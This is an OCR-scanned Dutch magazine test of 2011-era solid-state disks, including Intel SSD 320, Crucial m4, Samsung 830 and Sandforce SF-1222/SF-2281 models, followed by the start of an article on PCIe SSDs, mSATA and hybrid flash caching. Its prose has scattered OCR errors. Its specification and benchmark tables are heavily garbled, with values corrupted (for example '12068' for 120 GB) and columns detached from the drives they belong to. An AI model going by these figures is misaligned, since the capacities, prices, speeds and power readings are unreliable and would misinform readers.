blematisch bij continu schrij- 
ven, Daarbij werd de SSD al 
snel voelbaar heet. Via SMART 
meldde de SSD een tempera- 
tuur van 60X. In de praktijk 
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Solid-state disks - technische gegevens 


fabrikant 

Modellen met Intel controller (PC29AS21BA0I 

capadtoitvolgem 

fabrikantqetest^ 

ami ere verlrri igbare 
capadteiteii ^ 

firmware 

interlace 

DRAM- 

cache[MB] 

ondersteunt 

Trim/NCQ 

Intel SSD 320 

Intel, www.inteLcom 

120,60C&B 

40,80,160.300 GB 

4PC10362 

SAlAli (3 Gbit/s) 

32768 


Madellen met Phison-cofttroller [P53105) 







Verbatim Black Edition 

Verbatim, www.veitatim.nl 

64J28GB 

256 GB 

SSFAM011 

SATA II (3 Gbit/s) 

131072 


Modellen met JMicrim aMFOISl-Zloshiba-contreller (T6UGTXBlj) 







Kingston SSDNowSlQfl 

Kingston, www,kingston.coin 

8,16GB 

- 

D100309a{86B}/D100719a6GB) 

SATA II (3 Gbit/s) 

65536 

v^/s/ 

Kingston SSONowV-H 00 

Kingston, www^kingston.com 

64,12BGB 

96,256J12GB 

GRA0202 

SATA II {3 Gbit/s) 

131072 


Kingston SSONowVlOO 

Kingston, wwwiing5ton,coiTi 

123 GB 

32,64,256 GB 

D1l022Sa 

SATA II (3 Gbit/s) 

65536 


Modellen met Marvelt-cnntroller tB8SS9174] 







Cmtial/Mlicron m4 

Crucial www,cruciakom 

256 GB 

64,123,512GB 

0009 

SATA 66 (6 Gbit/s] 

131072 


Mode Hen met Sam jung'Controller [S4U2D4Kfl1-Y040J 







Samsung SSO 830 

Samsung, www,sairtsung,com 

2S6,512 GB 

64,123 68 

CXM01B1Q 

SATA 66 (6 Gbit/s] 

262144 


Modellen met Sandfarce-crnitrolter fSF 1222) 







Corsair Force Series 

Corsair, www.corsairmemory.com 

60,120,240 GB 

40, 30,90,115,160, ISO GB 

2.0 

5ATAtl(3Gblt/s) 

- 


MediaRange SSD ProSeries!! 

MediaRa nge, www.ssd-proseries.de 

12068 

60,24068 

SrTRC4Pl 

SATAll[3Gblt/s) 

- 


Renke X3 

Renke, www.renke-techxom 

240 68 

25,60,120,48068 

362A13F0 

SATA II [3 Gbit/s) 

- 


RunCore Pro V Plus 

RunCore, www.njncore.com 

12068 

60,240,48068 

4.0 

SATA II [3 Gbit/s) 

- 


SanOiskOftra 

SanDlsk, www.sandisk.com 

6068 

120,240 GB 

362A13F0 

SATA II (3 Gbit/s) 

- 


Modellen met Sandforce-cmttroller [SF'2281) 







Corsair force 3 

Corsair, www.corsairinemory.com 

1206B 

60,90,120,240 GB 

U 

SATA6Gf6Gbrt/s) 

- 


Corsair Force GT 

Corsair, www.corsairntemory.com 

12068 

60,90,180,240 GB 

u 

SATA6Gf6Gbit/s) 

- 


Kingston KyperK 

Kingston, www.kmgsion.com 

24068 

120 GB 

320ABBFD 

SATA 6G (6 Gbit/s) 

- 


Memoright FTM Plus 

Memoright, www.memorlght.com 

2406B 

60,120,480 68 

MRV1.3.1 

SATA 6G {6 Gbit/s) 

- 


OCZ Agility 3 

OCZ, www.oc 2 iechiDlDgy.com 

120 GB 

60,90,240 GB 

2.13 

SATA 6G (6 Gbit/s) 

- 


Patriot Wildfire 

Patriot, www.patriotmemoiy.com 

120 GB 

240,480 GB 

320AB8FO 

SATA6G(6Gbit/s) 

- 



^ D&fahribnten reMinen met 1GE = 1000 000 000 bjrte. Voor WiTHiows is dasrertegen 1GB = 1:073.741.824 b/te^ de weergegeven capadielt zieterdus onderWindows kleiner uit. aarrwezig - niet aanwezig 


Solid-state disks - metingen 


onder Windows 
tierkonde totalo 
capaciteit [GB] 

Modeller met liiteKofttn>ller{Pt29A521BA0) 

Intel S5DSWCW120&i SSD 320 112 

Intel SSOSA2CWGOOG3 SSD 320 559 

hlodelfen met Phison-ContruJIer (PSIIOS) 

Verbatim Black Edition 64 GB 60 

Modellen itietJMidOii (|MF6ia)-/ TDshiba<(HitTolleT {T6UGUBG] 


prijs per |i' minimale / maxlmate sequenti^e 
gabyte ICl transfeirate bij bet lezen vau 
64kB-b[okken [MB/s] ^ j)f<Erk^ 


1,60 

1J0 


Kingston S5100S216G SSDNow S100 IS 

Kingston 551005286 SSDMnw 5100 7 

Kingston 5V1QQS212SG SSWow VI00 119 

Kingston 5VP10O5212SG SSDNowV+lOO 119 

Kingston SVP1005264G SSDNow V+100 60 

Modellen met MarvelKontroller [B8SS9174) 
(nidalM4-m23M4SSD2m4 119 

Crucial MTFDDAQ56MAM-1K1 m4 23B 

Madellen met Samsung Controller {S41J204X01-YD40) 
Samsung SSD 830 256 GByte 233 

Samsung 550 830 S12GBjrte 477 

Modellen met Sandforce-Coiitroller{SF'1222) 

Corsair CSSD-F120GB2F120 112 

Corsair BSD F240GB2 F240 224 

Corsair C5SD-F6OGB2F60 56 

MediaRange FTM11C225H SSD ProSeries II 107 

Renite 240GB SSDJG 224 

RunCore RCP-V-WC115 GB Pro V Plus 107 

SanDtsk5[)5SDH060GG25 Ultra 56 

Model len met Sandforoe-Controller (5F-22B1} 

Corsair CSSD-fl2OG01-BK PKl Force 3 112 

Corsair G5D-F120G8GT-BK PKl force GT 112 

Kingston SN100S3240GHyper){ 224 

Memoright MR5A04A240GC025C00 FTM Plus 224 

OaAGT3-255AT3-120GAgility3 112 

Pairbl PW120GS25SS0R Wildfire 112 


U2 

3,00 

5,14 

126 

TJO 

IB3 

i,sa 

143 

139 

134 

133 

143 

133 

130 

go- 

132 

125 

1,57 

1,87 

g.o, 

1,22 

1,77 


miiiimalc 7 maximale sequentieie 
transferrate twj Net schrijven Iran 
64kB-b]akken[Me/s]^ kiire 



60/92 


143/217 

112/221 

90/221 


125/214 

142/208 

96/2U 

116/208 

155/215 

123/211 

100/214 



130/329 

18J/359 

190/356 

195/360 

237/336 

135/342 


105/208 


38/87 

3/71 


102/200 

113/209 

79/214 


311/403 
■ 415/418 


344/416 

367/406 


300/361 

322/353 



maximal e sequentieie tranEferrate 

bij het sdidjven / lezen van 
12ekB-bl(^ken[MB/sp bmp. 

13T/263 

211/262 



15Q/1S4 


120/238 

158/236 

107/238 

115/238 

168/238 

130/238 

92/238 


139/395 
i -HI 174/402 
- 216/405 
"TTTT 207/402 
- - 273/397 
'159/406 



185/502 


niiii.H..,.: 334/505 
Mr-. 378/510 


130/418 
145/457 
. 241/483 

■ 258/482 
^ 136/452 
206/453 


’ gemeten met H2benchw ^ gemeten met lometer, J2 uutstandirig 1/0 ^ gemeien met lumeter, 32 outsta nding 1/0,8 GB graot deelbemik van de disk, meettijd; S minuter ^ aanweiig niet aanwezlg g.o, geen opgave 
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Test I SoHd-stare disks 



bouwvomi / 
bouwhoogte 


prijs (A. 1^1 

2,S"/9.Sinm 

5j^r 

80 (40 GB). 137 (80 GB), 179 fl20 GB), 245 (160 GB), 440 (300 GB), 
950 {600 GB) 

27"/9,5mrr 

2jaar 

91 (64 GB). 142 (128 GB), g.at256GB) 

27"/97 min 


36(BGB).4S(16GB) 

2779.5 mm 

3jaar 

110 (64 GB), 125 (96 GB), 202 (128 GB), 420 (256 GB), 770 (512 GB) 

27797 nvm 

3j^r 

60 (32 GB), 83 [64 GB), 150 (128 GB). 335 [256 GB) 

27"/97 mm 

3jaar 

90 (M GB). ISS (128 GB), 340 (256 GB)730 (512 GB) 

2.5"/7 mm 

kg.o. 

90 [64 GB). 170 (128 GB), 330 (256 GB). 640 (512 GB) 

27’'/97mm 


74 [40 GB). 36 (60 GB), 109 (30 GB), 134 (90 GB), 130 (115 GB), 

149 (120 GB). 236 (160 GB), 291 (130 GB), 320 [240 GB) 

2,5"/9.5mm 

2jjidr 

100 (60 GB), 160 (120 GB),g.a {240 GB) 

2,579,5 mm 

g.o. 

g.o. (25,60.120,240.480 GB) 

2,5''/9.5mm 

3|aar 

g.o. (60,120.240,480 GB) 

2,5"/9,5mm 

3Jaar 

35(60GB), 145 (120 GB), 261 (240 GB) 

2,5''/9.5Tnm 

Sjaar 

90 (64 GB), 120 (90 GB). 140 (120GB), 310 (240 GB) 

2,5'79,S mm 

3]aar 

104 (60 GB), 140 (90 GB), 176 (120GB), 299 [180 GB), 349 (240GB) 

27 "/97 mm 

Sjaar 

207 (120 GB), 418 (240 GB) 

27"/9,Smm 

3jaar 

^0.(60.12,240.480 GB) 

27 "/97 mm 

3jaar 

80(60G8), 130 (9flGB), 137(120GB),340{240GB) 

27"/97 mm 

3jaar 

198 (120 GB), 399240 GB), 1050 (480 GB) 



I/Os pef scconde bij toevalllg verdeelde tOMlJf ^ 

scti rijf-/leesberoderi rtgen ^Random Write/ tatm ► 

Read) irtet 4KB-b!okken ^ ► 


Vcrbrujk 

(rust/Random 
Read/Randop Write) [W1 


22091/38254 



07/1,5/2,1 

07/1,5/27 


m 4542/23836 1 75 


0.4/0,6/13 


255/3931 
ai/1516 
■ 4317/2930 
t 93a/4302 
I 980/4295 


■ 546 

1287 

H2032 

im 

1359 


11/13/1.4 

17/14/1.4 

12/1.4/4,0 

0.2/1,0/17 

0,3/03/1,6 


23952/74313 

33784/47413 



0,6/1,9/23 

07/2,1/32 


29410/71619 

35033/69180 



0,4/27/4,7 

0,4/2.3/5,0 


28003/26705 
28591/26780 
21212/26109 
H 1D977/13225 
H 10792/32972 
17197/18562 
17464/21224 



07 / 17/17 
0,8/1,2/1.8 
07/11/16 
0.7/12/1.6 

07 / 12/17 

0.871,4/1.7 

O.S/1,3/1.8 


1 29524/18295 
■ 35191/21452 
22846/35061 
24856/35156 
1 32773/19706 
I 44028/30716 



17/2,0/2.5 

17/2,5/2.9 
1,4/2,7/2,6 
27/3,5/3,0 
0,5/2,1/2,5 
1,7/3,9/4,4 


komen zulke continue schrijf- 
benadenngen gelukkig zelden 
voor, maar in je notebook heb 
je toch Iiever een schfjf met 
een beduidend tager verbruik 
en vooral een die minder snel 
warm wordt. 

Gerenoveerde SSD's 

Voor de tweede keer hebben 
we Microns RealSSD C400 ge- 
test. Je kunt die schijf onder 
de naam m4 via dochterbedrijf 
Crucia! in de Handel krijgen. Met 
de onlangs verschenen firm¬ 
ware 0009 (zie softlink) heeft de 
fabrikant weer een paar fouten 
verholpen en daarnaast de per¬ 
formance behoorlijk opgekrikt. 
Bij sequentiele benaderingen 
verdubbelt de snelheid van de 
SSD tot een kleine 400 MB/s. 
Bovendien haalt de schijf bij het 
lezen maximaal 74.000 lOPS en 
eindigde daarmee als tweede in 
onze test. 

De faatste keer konden we 
nog alleen het 256GB-model 
Liit de serie in huis halen, maar 
deze keer is ook het model met 
128 GB erbij. In prijsvergeiij- 
kingen is de SSD momenteel 
een van de meest gevraagde 
modellen. Oat is ook niet gek, 
want met een prijs van zo'n 
150 euro heeft vrijwel geen 
enkele andere SSD met 120 
GB op dit moment zo'n goede 
prijs-prestatieverhouding. De 
Agility 3 van OCZ en de Force 
3 van Corsair zijn hierop de uit- 
zonderfngen. 

Intel kan het bijvoorbeeld 
niet bijbenen. In de al wat ou- 
dere SSD 510 zit net als in de 
Crucial IV14 weliswaar ook een 
Marvell-controller, maar in 
plaats van een 25nm-flashchip 
van IM Flash maakt Intel nog 
gebruik van de oudere 34nm- 
chips. Ook kon geen enkele 
firmware-update van Intel voor 
een hogere snelheid zorgen. 
Tegenover de verbeterde Cru- 
cial-SSD moet de SSD 510 zich 
om die reden qua performance 
gewonnen geven. Bovendien 
kilnkt de abnormaa! hoge prijs 
van 2 euro per gigabyte niet 
bepaald aantrekkelijk. 

Intel kan wel met de eer 
strijken dat het bedrijf de 
meeste opsfagcapaciteit in 
een SSD weet te proppen. De 
capaciteit van de SSD 320 be- 
draagt namelijk 600 GB. Met 
zo'n 900 euro is de schijf dan 
ook weer net zo duur als een 
complete game-pc. Net als bij 


andere disks uit de serie is de 
performance solide zonder 
echt uit te blinken. Intel bena- 
drukt vooral de hoge betrouw- 
baarheid, maar moest onlangs 
via een firmware-update wel 
een moeilijke en zelden voor- 
komende fout verb el pen. 

Vergeleken met de vorlge 
modellen X25-M G2 heeft Intel 
in de nieuwe SSD’s nog een 
condensator ingebouwd die 
de SSD tijdelijk van energie 
moet voorzien voor het geval 
de stroom plotseling uitvalt. 
Op die manier moet dataver- 
lies worden voorkomen. Bo¬ 
vendien versleutelt de controf- 
lerchrp [van Intel) gegevens via 
128 bit AES. De nieuwe func- 
ties zorgden laatst echter ook 
voor nieuwe foutbronnen {zIe 
artikel op p.94). 

Sandforce-SSD's 

In de meeste SSD's tref je mo¬ 
menteel controllerchips aan 
van Sandforce, De SF-1222 
met SATA-H- en de SF-2281 
met SATA-6G-interface zijn de 
meest recente exemplaren. 
De chips zijn vooral populair 
bij thirdparty-fabrikanten. Be- 
halve OCZ (Vertex 3) gebrui- 
ken bijvoorbeeld ook Corsair 
(Force GT), Kingston (HyperX), 
Memoright (FTM Plus) en Pa¬ 
triot (Wildfire) momenteel de 
SF-2281. 

De sneiste SF-2281-SSD 
in onze test - de HyperX van 
Kingston - haalde in onze 
metingen slechts zo'n 35.000 
lOPS en presteert daarmee dus 
duidelijk minder dan de on¬ 
langs gepresenteerde Vertex 3 
[2]. Ook lukte het alle andere 
5F-2281 -SSD's bij lange na 
niet om de IOP5 te halen die 
ons in de specs joist werden 
beloofd, Dat komt mtsschien 
ook doordat de Sandforce- 
controller gespeciaiiseerd is in 
het comprimeren van data en 
dus alleen zijn maximum haalt 
als er ook echt goed compri- 
meerbare gegevens zijn. Met 
speciale benchmarks als ATTO 
kwamen we bij alle modellen 
bijvoorbeeld bij het sequenti- 
eel schrijven van 128k8-blok‘ 
ken op lets meer dan 400 MB/s. 
IOmeter meldde op dat onder- 
deel maar zo'n 200 MB/s. 

Veel fabrikanten bieden 
tegenwoordig ook minder dure 
versies van 5D-2281-SSD's met 
goedkopere en langzamere 
flashchips. Corsair verkoopt 
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Test I Solid-state disks 



OCZ biedt voor zijn SSD’s een Windows-tool die via SMART aan 
het systeem doorgeeft hoeveel gegevens er a! naar de SSD ge- 
schreven lijn. 


zijn topmodel onder de naam 
Force 3, bij OCZ heet de schijf 
Agility 3. Deze flashschijven 
zijn bijna 40 euro goedkoper, 
maar schrijven en lezen voi- 
gens onze metingen ook 30 
MB/s langzamer. Oaafnaast 
verwerken ze tot 30,000 lOPS 
minder dan het overeenkom- 
stige 'normale' modei (Force 
GT, Vertex 3)* Dat klinkt veel, 
maar in de praktijk merk je het 
nauweitjks* Ook de goedkope 
versies halen nog snelheden 
van meer dan 400 MB/s en kun- 
nen nog steeds ongeveer 88 
keer zoveei in- en yitvoerope- 
raties uitvoeren als een nor- 
male magneetschijf. Bovendien 
zijn ze een tikkeltje zuiniger. 

Op de supportforums van 
nagenoeg afle aanbieders 
waren de iaatste tijd vee! be- 
richten te lezen over SSD's 
die sporadisch bluescreens 
(BSOD's) veroorzaakten. In 
ons eigen lab hebben we de 
fout tot dusver niet kunnen 
reproduceren. Inmiddels bie- 
den de meeste aanbieders van 
SF-2281-SSD’s ook firmware- 
updates die deze fout moeten 
verhelpen, Ook op het ge- 
bied van versleuteling blijken 
er probfemen te zijn met de 
Sandforce-controiien Er zijn 
nog maar weinig aanbieders 
die actief reclame maken voor 
deze functie, maar dat heeft 
ook een reden. Experimente- 
rende gebruikers die probeer- 
den een ATA-wachtwoord in te 
stellen, meldden op forums dat 
ze daarna niet meer bij de ge¬ 
gevens op de harde schijf kon- 
den. Als je waarde hecht aan 
gegevensversleuteling, kun je 
dus beter een model met een 
andere controller nemen die 


deze functie wel officieel on- 
dersteunC bijvoorbeeld van 
Intel. Maar ook daarbij iijken 
zich met sommige notebooks 
en desktop-pc's problemen 
voor te doen, als het BIOS uber- 
haupt a I met een ATA-secyrity- 
wachtwoord overweg kan. 

Als je overweegt een Sand- 
force-SSD aan te schaffen, kun 
je er waarschijnlijk het beste 
een nemen van een g rote re 
fabrikant als Kingston of OCZ. 
Mocht Je dan ondersteuning 
nodig hebben, dan kon je snel- 
ler op hulp rekenen dan bij 
kleinere aanbieders, Ook kun 
je ervan uitgaan dat er sneller 
firmware-updates uitkomen. 

Ook de oudere versie SF- 
1222 van Sandforce met Serial- 
ATA-lhinterface kom je nog in 
veel SSD's tegen. Veel kleinere 
aanbieders uit het Verre Oos- 
ten, zoals Renice en RunCore, 
maken SSD's met deze con¬ 
troller. SanDisk (UltraSSD) is 
de eerste grotere merkfabri- 
kant die deze techniek ook 
vertrouwt. SSD's met een SF- 
1222-controllef werken sneller 
dan alle andere SATA-ll-SSD's. 
Daarnaast is het verbruik van 
maximaal 1,5 watt bij benade- 
fingen zeer laag* Net als bij de 
nleuwere 5ATA-6G-modellen 
zijn er ook hier weer verschil- 
len in prljs en performance, af- 
hankelijk van de flashchips en 
firmware die in de SSD zitten. 
Bij deze SSD's is de levensdour 
echter een punt van zorg. Ah 
leen SanDisk zegt hier namelijk 
concreet lets over in de spec 
sheets. Bij OCZ-SSD's geeft de 
Windows-tQol OCZ Toolbox 
(zie softlink) tenminste nog de 
resterende levensduur door 
aan het systeem. Daarmee 


krijg je ook informatie over 
de hoeveelheid gegevens en 
daarmee ook over de reeds ge- 
schreven hoeveelheid, 

MediaRange en RunCore 
hebben een bok geschoten, 
Votgens de fabrikanten heb¬ 
ben de geteste FTM11C225H 
SSD Pro Series II (MediaRan¬ 
ge) en RCP-V-MC Pro V Plus 
(RunCore) met SF-1222-con¬ 
troller een (decimale) opslag- 
capaciteit van 120 GB. Maar In 
plaats van de verwachte (binai- 
re) netto capaciteit van 112GB 
konden we slechts 107 G8 ge- 
bruiken. Blijkbaar hebben de 
fabrikanten bij deze SSD's een 
grotere spare area ingesteld. 
Maar om die reden zouden ze 
dan ook als 115 6B-model ver- 
kocht moeten worden. 

Exotisch 

Omdat Sandforce met control- 
lerchips de markt voor goed¬ 
kope SSD's heeft veroverd, vist 
een andere controlierfabrikant 
uiteindelijk achter het net: In- 
dilinx. Inmiddels heeft OCZ 
het bedrijf overgenomen en 
wil met de knowhow van de 
Koreanen een eigen SATA-6G- 
controRer ontwikkelen. In de 
nieuwe Biack-Edition-SSD's 
vonden we een controller van 
Phison (PS3105) die we nog 
niet kenden. Deze SSD heeft 
nog een SATA-ll-interface en 
kan daarom tegenover andere 
moderne SSD's alleen op de 
prijs concurreren, 

Ook bij Kingstons SSD Now 
V100 en V+100, met verouderde 
contfollerchips van respectie- 
velijk JMicron en Toshiba, zoek 
je tevergeefs naar een koop- 
argument, Ze zijn niet bijzonder 
goedkoop en ook niet bijzon¬ 
der sne!. Met de SSDNow 5100 
levert Kingston bovendien nog 
SSD's met een wel heel kleine 
capaciteit [8 en 16 GB). Uiter- 
aard zijn deze schijven niet 
meer geschikt voor in een pc 
of notebook, maar wel bijvoor¬ 
beeld als stilleopstartschijf voor 
een kleine (Linux-jthuisserver. 

Conclusie 

'Performance boven alles' luidt 
het motto van de fabrikanten 
bij de huidige SSD-modellen. 
Bijzonder zuinig zijn ze echter 
niet. De snelste SATA-6G-SSD's 
verbruiken inmiddels bijna 
drle keer zoveei als traditione- 
le notebookschijven. In bench¬ 


marks zijn ze wel twee keer zo 
snel als SATA-li-SSD’s, maar in 
de praktijk voelt het snelheids- 
verschil veel minder groot, 

Het zou mool zijn als de 
fabrikanten niet meer alleen 
naar een steeds hogere per¬ 
formance zouden kijken, maar 
meer aandacht zouden be- 
steden aan foutloze firmware. 
Daarnaast zouden ze er vooral 
eens voor moeten gaan zorgen 
dat SSD's met een fatsoenlijke 
capaciteit gewoon betaalbaar 
worden. Crucial waagt met de 
m4 een stap in deze richting, 
Ondanks het fert dat de schijf 
(na een firmware-update) 
zeer snel is, blijft het energie- 
verbruik nog enigszins binnen 
de perken. Daarnaast is de prijs 
per gigabyte bijzonder laag. 
Samsung heeft met de nieuwe 
SSD 830 nu wel de snelste SSD, 
maar gelijk ook de minst zui- 
nige. Voor een notebook Is de 
schijf dan ook niet zo handig. 
De model len met Sandforce- 
controller werken niet alleen 
razend snel. maar zijn ook re- 
latief goedkoop. De SATA-II- 
versies verbruiken daarnaast 
erg weinig stroom, Uiteindelijk 
moet Je bij Sandforce-SSD's 
altijd maar afwachten wat je 
krijgt. Pas als je de SSD hebt 
aangesloten en doorgemeten 
weet je wat je precies in huis 
gehaald hebt en of je er dus te- 
vreden over kunt zijn. 

SSD's van Kingston (bijvoor¬ 
beeld de SSDNow V(-F)IOO) en 
Verbatim (Black Edition) met 
verouderde controlterchips 
kunnen niet meer echt con- 
curreren met moderne SSD's. 
Uiteindelijk kom je dan toch 
weer uit bij een SATA-ll-model 
als de SSD 320 van Intel met 
goede performance en een ac- 
ceptabel stroomverbruik, ook 
al is het vertrouwen in deze 
schijven na de Iaatste firmwa- 
rebugs misschien wat gedaald. 

(mja) 

Cl 

§ Softliakn 12078 
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Flash- 

varianten 

PCIe-SSD's, SSD-caching en hybride 
harddisks 

Solid-state disks zijn er niet afleen in het populaire 
2,5Mormaat, maar ook als PCI-Express-kaarten en in de 
forma ten 1,8 inch, mSATA en 3,5 inch. Bovendien dutken er 
diverse combinaties op van flashopslag en gewone harde 
schijven. 


S olid-state disks zijn nog 
steeds duur. Per gigabyte 
betaal je minstens 30 keer 
zoveel als bij harde schijven. Het is 
dan ook niet verwonderlijk dat er 
allerlei varianten zijn ontstaan om 
het snelle flashgeheugen te com- 
bineren met de goedkope mag- 
netische opslagrulmte van gewo¬ 
ne harde schijven. Daarnaast kom 
je flashexoten tegen die op be- 
paalde onderdelen beter preste- 
ren dan de gangbare SATA-SSD's 
in 2,5'-formaat. PCI-Express-SSD's 
halen hogere data transferrates 
dan SATA 6G. Op dure 3,5"-5SD's 
kun je tot 1 TB aan gegevens kwijt 
en enterprise-SSD's van single- 
level-cell-(SLC-)NAND-flashchips 
of extra robuuste multi-level-cell- 
(MLC-)elementen kun je veel snel- 
ler en beduidend vaker beschrij- 
ven dan 'client-SSD's. Sommige 
fabrikanten stoppen hun techniek 


in een compactere behuizing, bij- 
voorbeeld de 1 ,S-inch- of mSATA- 
standaard. Tot slot zijn er ook nog 
flashopslagmedia met parailelle 
interfaces, bijvoorbeeld Disk on 
Modules (DOM) met een IDE- 
interface en CompactFlash-(CF") 
kaarten, 

Kaarttrucs 

Via Serial ATA II kun je in de prak- 
tijk maxima a I ongeveer 270 MS/s 
versturen, met SATA 6G kun je 
meer dan 500 MB/s halen. Maar 


Micron P320h: De PCle-xfi-SSD 
levert per seconde meer dan 
3 GBaan data. 


er zijn toepassingen, bijvoorbeeld 
bij servers, waar dat nog steeds 
niet genoeg voor is. Dan kun je 
een RAID opzetten met meerdere 
SSD's om de datatransferrates ver- 
der op te schroeven, maar dat kost 
rekenkracht, maakt het systeem 
complexer en dus gevoeliger voor 
storingen, en heeft als nadeel dat 
het ATA-trim-commando in de 
RAID-mod us vooralsnog niet bij 
de SSD-controtler aankomt. 

Als afternatfef voor een SATA- 
RAID kun je PCIe-insteekkaarten 
gebruiken, Daar zit vaak een 
PCIe-SATA-hostcontroller op, die 
dan op zijn beurt weer een soort 
SATA-RAID koppelt. Met PCIe 2.0 
x4 kun je a! 2 GB/s halen. Het na¬ 
deel is dat het besturingssysteem 
speciale drivers nodig heeft voor 
de PCIe-hostadapter, En als daar 
geen Option ROM bij zit die door 
het BIOS opgeroepen kan wor- 
den, dan kun je geen besturings¬ 
systeem booten vanaf de PCIe- 
SSD. Deze con struct! e is vooral 
handig als snel databuffer voor 
servers. Fusion-io, Micron, OCZ en 
Texas Memory Systems leveren 
producten met transferrates tot 
3 GS/s en meer dan een miljoen 
in/uitvoeroperaties per seconde 
(lOPS). Maar daar betaal je dan 
ook al gauw 5000 euro voor, 

Ook enterprise-SSD's met 
Serial-Attached-SCSI-{SAS-) of 
FibreChannel-[FC-)interfaces zijn 
bedoeld voor servers. Hitachi, Mi¬ 
cron, Seagate en Toshiba, maar 
ook minder bekende bedrijven 
als STEC en ATP maken zulke 
specialiteiten voor bijvoorbeeld 
grote storagesystemen. De Zeus- 
10PS van STEC moet via SAS 6G 
tot 500 GB/S en 120.000 lOPS 
leveren, maar kost als toebeho- 
ren voor storageservers van In- 
fortrend meer dan 10.000 euro, 
Daarbij vergeleken lijkt de 5200 
euro die Je betaalt voor de Sea¬ 


gate Pulsar.2 met SAS 6G en 800 
GB bijna goedkoop. De weinige 
terabyte-SSD’s vallen ongeveer 
in dezelfde prijsklasse. Zo kost de 
OCZ Colossus in 33"-formaat zo'n 
3700 euro. Deze dingen zijn niet 
bedoeld voor privegebruikers, 
maar voor speciale toepassingen, 
De ultra snelle SSD's zijn trouwens 
niet zulnlger met energie dan tra- 
ditior>ele harde schijven. Menig 
SAS-SSD in 2,5"-formaat gebrulkt 
meer dan 8 watt en heeft goede 
koeling nodig. Wei hebben Enter¬ 
prise-SSD's van SLC- of speciale 
MLC<hips vaak een theoretische 
ievensduur die een factor 1000 
[anger is dan van normafe SSD's, 
zie pagina 94. 

mSATA-SSD's in het formaat 
van PC! Express Mini Cards zijn 
veel goedkopec Die zijn dus net 
zo groot als een interne wlan- 
adapter voor notebooks, Maar 
let op: mSATA-SSD’s werken niet 
zomaar in aile Mini-Card-slots 
omdat ze een speciale schake- 
llng met een SATA-kanaal nodig 
hebben. Je kunt ze dus alleen 
gebruiken als je een notebook of 
een moederbord met een mSATA- 
slot hebt. In een aantal oudere 
notebooks werden nog andere 
SSD-kaartjes gebruikt, maar die 
werden ook PCIe-SSD's genoemd. 
Een aantal daarvan wijken echter 
duidelijk af van het Mini-Card-for- 
maat en passen daardoor alleen 
in speciale mobiele apparaten. 
Sommige gebruiken zelfs nog IDE 
als interface en werken langzamer 
dan de huidige harde schijven in 
notebooks, Dat geldt ook voor de 
in het begin genoemde Disk-on- 
Modules (DOM). Die zijn er onder 
andere met 44-pins aansluiting 
met de dichter op elkaar zittende 
pins voor de IDE-poorten van 
2,5"-schrjven. Eigen lijk gaat het 
daarbij om CF-kaarten met aan- 
gepast formaat. Net als bij USB 
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Er is ook fiashgeheugen met IDE-aansluiting, Maardat is vaak 
iangzamer dan de snelste harde schijven. 


2.0- en zeifs veei USB 3.0-sticks 
zijn de IngeboLiwde controilers en 
Oashchips niet geoptimaiiseerd 
voor korte toegangstijden. Ze zijn 
nog wel populair in embedded 
systemen, maar de performance 
is niet te vergelijken met die van 
moderne SATA-SSD's, Sommige 
zijn bij het schrijven zelfs zo traag 
dat de Windows-set-up de instai- 
iatie afbreekt. 

Onder de vrijwel altijd langza- 
me iDE-SSD's vallen ook zeidzame 
b8"-uttvoeringen met Zero-lnser- 
tion-Force-(ZlF-), Low-Insertion- 
Force-(LIF“) of micro-ATA-aanslui- 
ting. inmiddds zijn er wel een 
aantal IDE-SSD's met sneiiere con- 
troiiers. Vermoedeiijk zijn die voor 
jongere CF-generaties ontwik- 
keid. Toch liggen hun iOPS-waar- 
den ver onder de 10.000 en biJ 
het schrijven vaak onder de 1000. 
Tot siot wiiien we nog twee bij- 
zonder zeidzame SSD-varianten 
noemen, namelijk die met SATA- 
LIF-interface en ExpressCards. Bij 
de laatste is het vaak niet duidelijk 
of ze de PCIe-xl-aansiuiting uber^ 
haupt gebruiken. Vaak wordt in 
piaats daarvan de bij een Express- 
Card-siot eveneens aanwezige 
USB 2.0-poort gebruikt. En die is 
reiatlef traag. SATA LIE wordt ei- 
genlijkalleen door Apple gebruikt 
bij bepaaide uitvoeringen van de 
MacBookAir. 

Buffers 

Tot nu toe vormen hybride con- 
cepten waarbij flash- en magne- 
tisch geheugen gecombineerd 
worden maar kleine niches. Het 
idee is op zich niet nieuw. Net 
als de DRAM-cache in alle tra- 
ditionele harde schijven buffert 
een kleine SSD of een bepaaide 
hoeveelheid vast ingebouwd 
flashgeheugen alle data van een 
harde schijf die het bestudngssys- 
teem of de aaieve toepassingen 
vaak nodig hebben. De groot- 
ste DRAM-caches bij de hutdige 
harde schijven zijn 64 MB groot. 
Bij een flashcache praat je over 
een paar gigabyte. DaarbiJ moet 
je in het achterhoofd houden dat 
ook alle huidige besturingssyste- 
men proberen om veel gevraagde 
data in het RAM op te siaan. Een 
nteTvIuchtige cache met korte 
toegangstijden kan het schrijven 
in pdncipe sterk versnellen. Maar 
'kieine' SSD's met een capaciteit 
van minder dan 80 MB met MLC- 
chips zijn bij sequentieel schrijven 
vaak zelfs iangzamer dan harde 
schijven omdat de controller maar 
weinig NAND-ftashchips parallel 


kan aansturen. Daarom heeft Intel 
voor SSD<aching zeif de 'kleine' 
SLC-SSD 311 met een capaciteit 
van 20 GB ontwikkeld. Die is er 
ook in mSATA-formaat en moet 
met meer dan 100 MB/s beschre- 
ven kunnen worden. 

Microsoft heeft destijds bij Win¬ 
dows Vista de eerste grootscha- 
lige experimenten gedaan met 
buffertechnfeken als Ready Boost 
en ReadyDrive, maartoen leverde 
flashcaching niks op. Met een flink 
groot RAM en trage usb-flash of 
een heel kleine flashbuffer in de 
eerste hybride harde schijven was 
het effect minimaal. Maarde note- 
bookharddisk Seagate Momentus 
XT met 4 GB snel SLC-flash laat 
zien dat je op een heel goedkope 
manier al kunt profiteren van een 
aanzienlijk deel van de SSD-voor- 
deien. Ook onze experimenten 
met SSD-caching bij Inteis chip- 
set Z68 - hoogdravend Smart 
Response Technology genoemd 
- waren in principe overtuigend. 
Vaak gebruikte programma's star- 
ten vanaf de SSD-schIJven tandem 
bijna net zo snel op als vanaf een 
SSD. Smart Response had echter 
een paar klnderziektes en werkt 
tot nu toe uitsluitend onder Win¬ 
dows 7 en Vista en niet met XP 
of Linux. Smart Response is een 


speciale functie van inteis RAfD- 
driver lastor.sys alias Rapid Stora¬ 
ge Technology vanaf versie 10.5. 
De SATA-controller moet dan ook 
In de RAID-modus werken. Daar- 
door brengt het parallel installe- 
ren van Linux zelfs een risico met 
zich mee. Linux herkent de harde 
schijven van zo'n (pseudo-)RAID 
